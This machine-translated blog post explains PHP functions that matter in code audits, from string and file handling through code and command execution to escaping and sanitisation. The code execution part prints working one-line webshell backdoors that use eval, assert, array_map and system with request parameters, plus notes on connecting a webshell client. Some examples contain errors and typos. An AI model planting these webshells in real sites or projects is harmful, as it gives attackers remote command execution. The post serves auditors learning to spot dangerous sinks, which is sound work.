当前位置:网站首页>PHP code audit 2 - these functions must be known and understood

PHP code audit 2 - these functions must be known and understood

2022-06-25 04:06:00 W0ngk

One 、 String processing related functions

  • function 1:substr()

     effect : Intercepts a substring of a specified length from a specified position in a string ,
     Example :echo substr('123456789',4,4)     //5678
    
  • function 2:strlen()

     effect : Get the length of a string 
     Example : echo strlen('123456')   //6
    
  • function 3:strrchr()

     effect : Find the last occurrence of a string in another string , And returns all the characters from that position to the end of the string . Usually used to get the file suffix 
     Example :echo strrchr('testFileName.php.jpg.excel','.')   //excel
    
  • function 4: strtolower ()

     effect : Convert all characters in a string to lowercase , Corresponding strtoupper Is converted to uppercase 
     Example :echo  strtolower('ABCDerfgth')   //abcderfgth
    
  • function 5:trim()

     effect : Remove the characters on both sides of the character , Remove by default  " "、“\t","\n","\r","\x0B","\0"
     Example :echo trim(' abbbbbbbcccccca\r\n')   //abbbbbbbcccccca
    
  • function 6: strpos ()

     effect : Find the position of a character in the string ( Returns the numeric subscript of the character ), Start from the far left , Corresponding strrpos() The function starts from the right 
     Example :echo strpos('hello,life is alive,life is beautiful!!','life') //6
    

Two 、 Variable types handle related functions

  • function 1:getype()

     effect : Get the type of variable 
     Example : echo gettype('123')    //string
    
  • function 2: isset()

     effect : Check whether the variable is set 
     Example : var $a; echo isset($a);  // TRUE
    
  • function 3:is_null()

     effect : Check whether the function is empty 
     Example : Var $a='123'; echo is_null($a)    // False
    
  • function 4:empty()

     effect : Judge whether the variable is empty , Returns when the variable exists and is a non null non-zero value  FALSE  Otherwise return to  TRUE.. It is worth noting that ,empty()  There is no warning , Even if the variable does not exist .  It means  empty()  Essentially with  !isset($var) || $var == false  Equivalent .
     Example : var $a=0; echo empty($a)     //TRUE
    
  • function 5:is_string(),is_int(),is_float(),is_bool()

     effect : Check if the variable is a string 、 plastic 、float type 、 Boolean type 
    
  • function 6:var_dump()

     effect : Print variable details , Including variable type and variable value 
     Example :var $a='123'; var_dump($a); //string('123')
    
  • function 7:unset()

     effect : Destroy variables 
    

3、 ... and 、 File processing related functions

  • function 1:basename(string $path [string $suffix])

     effect : Return the filename part of the path 
     Example 1echo basename("/var/www/html/index.php")   //index.php
     Example 2echo basename("/var/www/html/index.php",".php")  //index 
    
  • function 2:dirname(string $path)

     effect : Returns the path of the file 
    echo dirnamr(var/www/html/index.php")   //var/www/html
    
  • function 3:pathinfo(string $path [string $option])

     effect : Returns the associated information of the file , Include dirname,basename,extension,filename. among option For optional , Options for :PATHINFO_DIRNAMEPATHINFO_BASENAME and PATHINFO_EXTENSION, If set , Only the associated information of the corresponding option is output .
     Example 1echo pathinfo('var/www/html/index.php',PATHINFO_EXTENSION) //php
     Example 2echo pathinfo('var/www/html/index.php');  give the result as follows :
    /*array 'dirname' => string 'var/www/html' (length=12) 'basename' => string 'index.php' (length=9) 'extension' => string 'php' (length=3) 'filename' => string 'index' (length=5) */
    
  • function 4:filetype(string $filename)

     effect : Returns the type of the specified file or directory . If it works , This function returns  7  One of the possible values . If you fail , Then return to  FALSE. The possible return results are as follows 7 Kind of :fifo,char,dir,block,link,file,unknown
     Example :echo filetype("123.php")   //file
    
  • function 5:filesize(string $filenmae)

     effect : Size of output file , If it works , This function returns the number of bytes of the file size . If you fail , Then return to  FALSE.
    
  • function 6:fopen(string $filename,mode,include_path,context)

     effect : Open a file or URL
     About mode:
    	'r': Read only open , The file pointer points to the file header 
    	'r+': Read write mode on , The file pointer points to the file header 
    	'w': Write mode on , Clear the contents of the file , If the file does not exist, create 
    	'W+': Read write mode on , Clear the contents of the file , If the file does not exist, create 
    	'a': Write mode on , Write the file pointer to the end of the file , If the file does not exist, try to create 
    	'a+': Read write mode on , Save the contents of the file by writing the file pointer to the end of the file 
    	'x': Create a new file and open it in write mode , Returns... If the file already exists  FALSE  And a mistake 
    	'x+': Create a new file and open it read-write , Returns... If the file already exists  FALSE  And a mistake 
     About include_path: optional , If you want to stay in  include_path( stay  php.ini  in ) Search for files in , Please set the parameter to  '1'
     About Context: Optional . Specifies the environment of the file handle .context  Is a set of options that can modify the behavior of a flow 
    
     notes : When writing a text file , Make sure you use the correct line terminator !  stay  Unix  In the system , The end of the line is  \n; stay  Windows  In the system , The end of the line is  \r\n; stay  Macintosh  In the system , The end of the line is  \r.Windows  A text conversion tag is provided in the system  "t" , It is possible to transparently  \n  Convert to  \r\n, To use these tags , Please use  "b"  perhaps  "t"  As a  mode  The last character of the parameter .
     Example : $file=fopen('/var/wwww/html/index.txt','at')
    
  • function 7:file(path,include_path,context)

     effect : Read the file into the array by line , Include line breaks 
     About parameters :
    	path: must , File path 
    	include_path: Optional 
    	context: Optional 
     Example :print_r(file("test.txt")); give the result as follows :
    Array
    (
    [0] => Hello World. Testing testing!
    [1] => Another day, another line.
    )
    
  • function 8:file_exists ( string $filename )

     effect : Check if the file or directory exists 
    
  • function 9:is_file(string $filename)

     effect : Determine whether the specified file is a regular file 
     Be careful : notes : The result of this function is cached . Please use  clearstatcache()  To clear the cache .
    
  • function 10:fclose()

     effect : Close an open file pointer , Usually with fopen share 
     Example :
    $file = fopen("test.txt","a");
    fclose($file);
    
  • function 11:include(),require(),include_once(),require_once()

     effect : Include files , If you want to include remote files , Need to be in php.ini Middle configuration :allow_url_include= on
     difference :
    	require  Generate a fatal error (E_COMPILE_ERROR), After an error occurs, the script stops executing .require  Load... At the beginning 
    	include  Generate a warning (E_WARNING), After the error occurs, the script continues to execute .incluce  Load when in use .
    	_once  The suffix indicates that loaded does not load 
    

Four 、 Code execution and command execution related functions

1、 Code execution functions

  • function 1:eval(string $phpCode)

     effect : Treat strings as PHP Code to execute , The common usage is "Trojan horse" . The string must be legal  PHP  Code , And it must end with a semicolon .
     Example :<?php @eval($_POST['cmd']); ?>
    
  • function 2:assert()

     effect : And eval similar , The string is  assert()  treat as  PHP  Code to execute , But only one line of code can be executed , and eval Can execute multiple lines of code . But in php The official in the php7 Changed assert function . stay php7.0.29 Later versions do not support dynamic invocation .
    php7 An example of demo: <?php$a='assert'; $b=$_GET['cmd']; $a(system($b));?>
    
  • function 3:preg_replace()

     effect :  Function to search and replace a regular expression 
     grammar :preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
     Grammar Translation :preg_replace ( Regular expressions ,  Replace it with something ,  Target string ,  Maximum number of replacements 【 Default -1, Countless times 】,  Number of replacements )
     Execute code example : preg_replace('/(.*)/ei', 'strtolower("\\1")', ${
          phpinfo()});
     About preg_replace() Several key points to be able to execute code :
    	1/e Modifiers are essential 
    	2、 You have to let  subject  There is  pattern  The matching of 
    	3PHP Version in 5.5-5.6, Subsequent versions removed /e Modifier , You cannot execute code 
    	4、 Satisfy the condition of variable variables : That is, if the double quotation marks contain variables ,php The interpreter will replace it with the... After the variable is interpreted   Results such as  'strtolower("\1")'
     For this function, see resources at the end of the article .
    
  • function 4:create_function()

     effect : Create an anonymous function based on the passed parameters , And return a unique name for it .
     grammar :create_function(string $args,string $code)
     Argument parsing :
    	1string $args  The function variable part of the declaration 
    	2string $code  The code part of the method executed 
     Sample analysis :
    	$newfunc = create_function('$a, $b', 'return "$a + $b = " . ($a + $b);');
    	echo $newfunc(3,4);
    	// Output results  3 + 4 = 7
    	// so , The first parameter is the parameter name of the anonymous function , The second parameter is the logic code in the function 
    
  • function 5:array_map()

     effect : Apply a user-defined function to each value in the array , And return the array with new value after the user-defined function .  The number of arguments the callback should take and pass to  array_map()  The array number of functions is the same .
     Command execution example :
        # Command execution shell.php?func=system cmd=whoami
        # Kitchen knife connection shell.php?func=assert  password :cmd  Data transmission mode :POST
        $func=$_GET['func'];
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        $new_array=array_map($func,$array);
        echo $new_array;
     Trojan horse example  array_map()  One sentence Trojan horse example :
      array_map('assert',array($POST['a']));
      array_map($GET['func'],array($_POST['a'])); // Kitchen knife connection shell.php?func=assert  password :a
    
  • function 6:call_user_func()

     grammar :call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
     effect : Call the first parameter as a callback function .
     Code execution example :
    <?php
       function test($a){
           system($a);}
       call_user_func('a',$_POST['cmd']); 
    ?>
    
    
  • function 7:call_user_func_array()

     And call_user_func() Function similar to , Just the parameters passed in by the callback function , Use an array to pass , This makes the parameter transfer process clearer 
     Example :
    <?php
      function test($a){
           system($a);}
      call_user_func('a',array($_POST['cmd']); 
    ?>
    
  • function 8:array_filter()

     effect : Use the callback function to process the elements in the array . The point is to filter ( Instead of adding ) Some element , When you deal with an element , If you return false, Then this element will be filtered out . It's worth it , After being processed array The original index will be preserved .
     grammar :array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
     Examples of use :
    //shell.php?func=system&cmd=your_cmd
    $array=array($_GET['cmd']);
    $func=$_GET['func'];
    array_filter($array,$func)
    
  • function 9:usort(),uasort()

     effect :
    	1、usort Sort the array through user-defined functions 
    	2、uasort Use user-defined functions to sort the values in the array and maintain the index association 
     Examples of use :
    	$array=array($_GET['cmd'],'test');
    	usort($array,'system');
    

2、 Command execution function

  • function 1:system()

     effect : Execute system commands , And output the execution result , Only output the correct results , Error results are not output .
     Example :$cmd=$_GET['cmd']; system($cmd);   //?cmd=your_cmd
    
  • function 2:exec()

     grammar :string exec ( string $command [, array &$output[, int &$return_var]] )
     effect : Carry out orders , But no output , You can specify output Parameters , Will be populated with the returned results output; If output There is already an element in the parameter ,exec() Will be in output Back up ,output The return result of the parameter is an array .
     Examples of use :
    //shell.php?cmd=your_cmd
     $cmd=$_GET['cmd'];
     exec($cmd,$res);
     var_dump($res);
    
  • function 3:shell_exec()

     effect : Execute system commands , But no results will be returned 
    
  • function 4:passthru()

     effect : Running external programs , And display the results on the screen , Be similar to system(), The wrong result will not be output .
    
  • function 5:popen()

     effect : Open a pipeline to the process , The process is given by derivation command The execution of an order produces . Return one and fopen() The same file pointer returned , It's just that it's unidirectional ( Can only be used for reading or writing ) And must use pclose() To close . This pointer can be used for fgets(),fgetss() and  fwrite()
     grammar :resource popen ( string $command , string $mode )
     Examples of use :
        $cmd=$_GET['cmd'];  
    	$fp=popen($cmd, 'r');   // Execute the command and create an output file pointer 
    	echo fread($fp,1024);   // Read the contents of the file pointed to in the pointer , Read 1024 byte 
    	pclose($fp);            // Close file pointer 
    
  • function 6:proc_oprn()

     effect : Execute an order , And open it to enter / Output file pointer . similar  popen()  function ,  however  proc_open()  It provides more powerful ability to control program execution .
     grammar :resource proc_open (string $cmd ,array $descriptorspec ,array &$pipes [, string $cwd [, array $env [, array $other_options ]]])
     Example :
        $cmd = $_GET['cmd'];
        $array = array(array("pipe","r"),    // Standard inputs 
                       array("pipe","w"),    // Standard output content  
                       array("pipe","w")     // Standard output error  
                       );
        $fp = proc_open($cmd,$array,$pipes);   // Open a process channel  
        echo stream_get_contents($pipes[1]);  // Why $pipes[1], because 1 It's output 
        proc_close($fp);     // After opening a process , It must be closed after use , Otherwise, it is easy to cause deadlock 
    

5、 ... and 、 Database operation related functions

  • function 1:mysql_connect()

     effect : Function to start a query on the specified host MySQL Database connection . If the database is on a different port , Then add colon and port number after the host name . All parameters are optional , By default, they correspond to local hosts 、 The name and empty of the script that the user is executing . The host can be IP Address or domain name .
     grammar :integer mysql_connect($host,$user,$passwd);
    
  • function 2:mysql_select_db()

     effect : Select the default database .
     grammar :boolean mysql_select_db($db_name,$connect);
    
  • function 3:mysql_query()

     effect : Query the specified database . If SQL The sentence is select, Then a result number is returned , Otherwise, the returned value can be ignored . If you fail , return false..
     grammar :integer mysql_query($sql,$connect)
    
  • function 4:mysql_fetch_array()

     effect : Take out the next line , Returns an array . Can be accessed with numeric subscripts ( The first field is the subscript  0), You can also use string subscripts to access ( That is, use each field name ). If the last line has been taken , return  false..
     grammar :array mysql_fetch_array($result)
    
  • function 5:mysql_feetch_row()

     effect : Returns a matrix representing all fields of a row in the result set . Each call produces the next line , Return until there are no rows left false. Each field value is indexed by a zero based offset . This is the fastest way to get results from a query .
    
  • function 6:mysql_num_rows)

     effect : Returns the number of rows in the query result 
     grammar :integer mysql_num_rows($result);
    
  • function 7:mysql_close()

     effect : Close database connection 
    

6、 ... and 、 Data output correlation function

Data output functions are often associated with XSS Vulnerability related , If the output data is not filtered, it may result in XSS Vulnerability exists .PHP The output spells commonly used in are as follows :

  • function 1:echo()

     analysis :echo()  Function is not actually a function , So you don't have to use parentheses for it . However , If you wish to  echo()  Pass more than one parameter , Using parentheses will generate parsing errors .
     grammar :echo "Hello world!";
    
  • function 2:var_dum()

     analysis : Used to output information about variables , Function displays structural information about one or more expressions , Including the type and value of the expression . The array will expand the values recursively , Show its structure by indenting .
    
  • function 3:printf()

     analysis : Output formatted string :
     Example :
    	$number = 9;
    	$str = " Beijing ";
    	printf(" stay %s Yes  %u  Millions of bicycles .",$str,$number);
    
  • function 4:print()

     analysis : Output one or more strings .print()  Function is not actually a function , So you don't have to use parentheses for it .
     grammar :print "hello word!!!"
    
  • function 5:die()

     analysis : Function outputs a message , And exit the current script . The function is  exit()  Alias for function .
     Example :
    	$site = "http://www.w3school.com.cn/";
    	fopen($site,"r")
    	or die("Unable to connect to $site");
    

7、 ... and 、 Security defense related functions

  • function 1: mysql_real_escape_string()

     analysis : For example, single quotation marks 、 Double quotes 、 Special characters such as backslashes add a backslash to ensure that before querying the data , User supplied input is clean . But should pay attention to , You are using this function on the premise of connecting to the database .
    
  • function 2:mysql_escape_string()

     analysis : Sum of this function  mysql_real_escape_string()  Exactly the same as , except  mysql_real_escape_string()  What is accepted is a connection handle and transfers out of the string according to the current character set .mysql_escape_string()  Connection parameters are not accepted , Regardless of the current character set setting .
     But whether it's  mysql_real_escape_string()  still mysql_escape_string(), It's not defense SQL The best solution for injection , For the moment , Use PDO To manipulate the database , Is a safe defense SQL A good way to inject .
    
  • function 3:addslashes()

     analysis : The principle of this function is similar to mysql_real_escape_string() be similar . But when php.ini In file ,“magic_quotes_gpc“ The value of is “on” When , Don't use this function .magic_quotes_gpc  The default value of is on, For all the  GETPOST  and  COOKIE  Data runs automatically  addslashes(). If you use this function again for data that has been escaped , Will cause a second escape , To avoid that , have access to get_magic_quotes_gpc() Function to determine whether it is turned on .
    
  • function 4: htmlentities()

     This function is very useful for filtering user input data . Convert it to some special characters HTML Entity . for example , User input < when , Will be converted to by this function HTML Entity <&lt), Input > Is transformed into an entity &gt.
    
  • function 5: htmlspecialchars()

     stay HTML in , Some specific characters have special meanings , If you want to keep the original meaning of the characters , It should be converted to HTML Entity . This function will return the converted string . The effect is similar to htmlentities().
    
  • function 6: strip_tags()

     This function removes all of the... From the string HTML,JavaScript and PHP label , Of course, you can also set the second parameter of the function , Make certain labels appear .
    
  • function 7:urldecode()

     Conduct URL decode , Decode any of the encoded strings given  %##.  plus ('+') Decoded into a space character .
     Be careful : Super global variable  $_GET  and  $_REQUEST  It has been decoded . Yes  $_GET  or  $_REQUEST  The elements in the use  urldecode()  Will lead to unpredictable and dangerous results .
    
  • function 8:escapeshellarg()

    Linux: Enclose the incoming string with a pair of single quotation marks , Change the content ' First escape with a backslash , Add a pair of single quotation marks , That is, the single quotation mark will be escaped as '\''
    Windows: Enclose the incoming string with a pair of double quotation marks , Change the content "%! Replace... With spaces 
    

8、 ... and 、 Reference material

原网站

版权声明
本文为[W0ngk]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/176/202206250059080531.html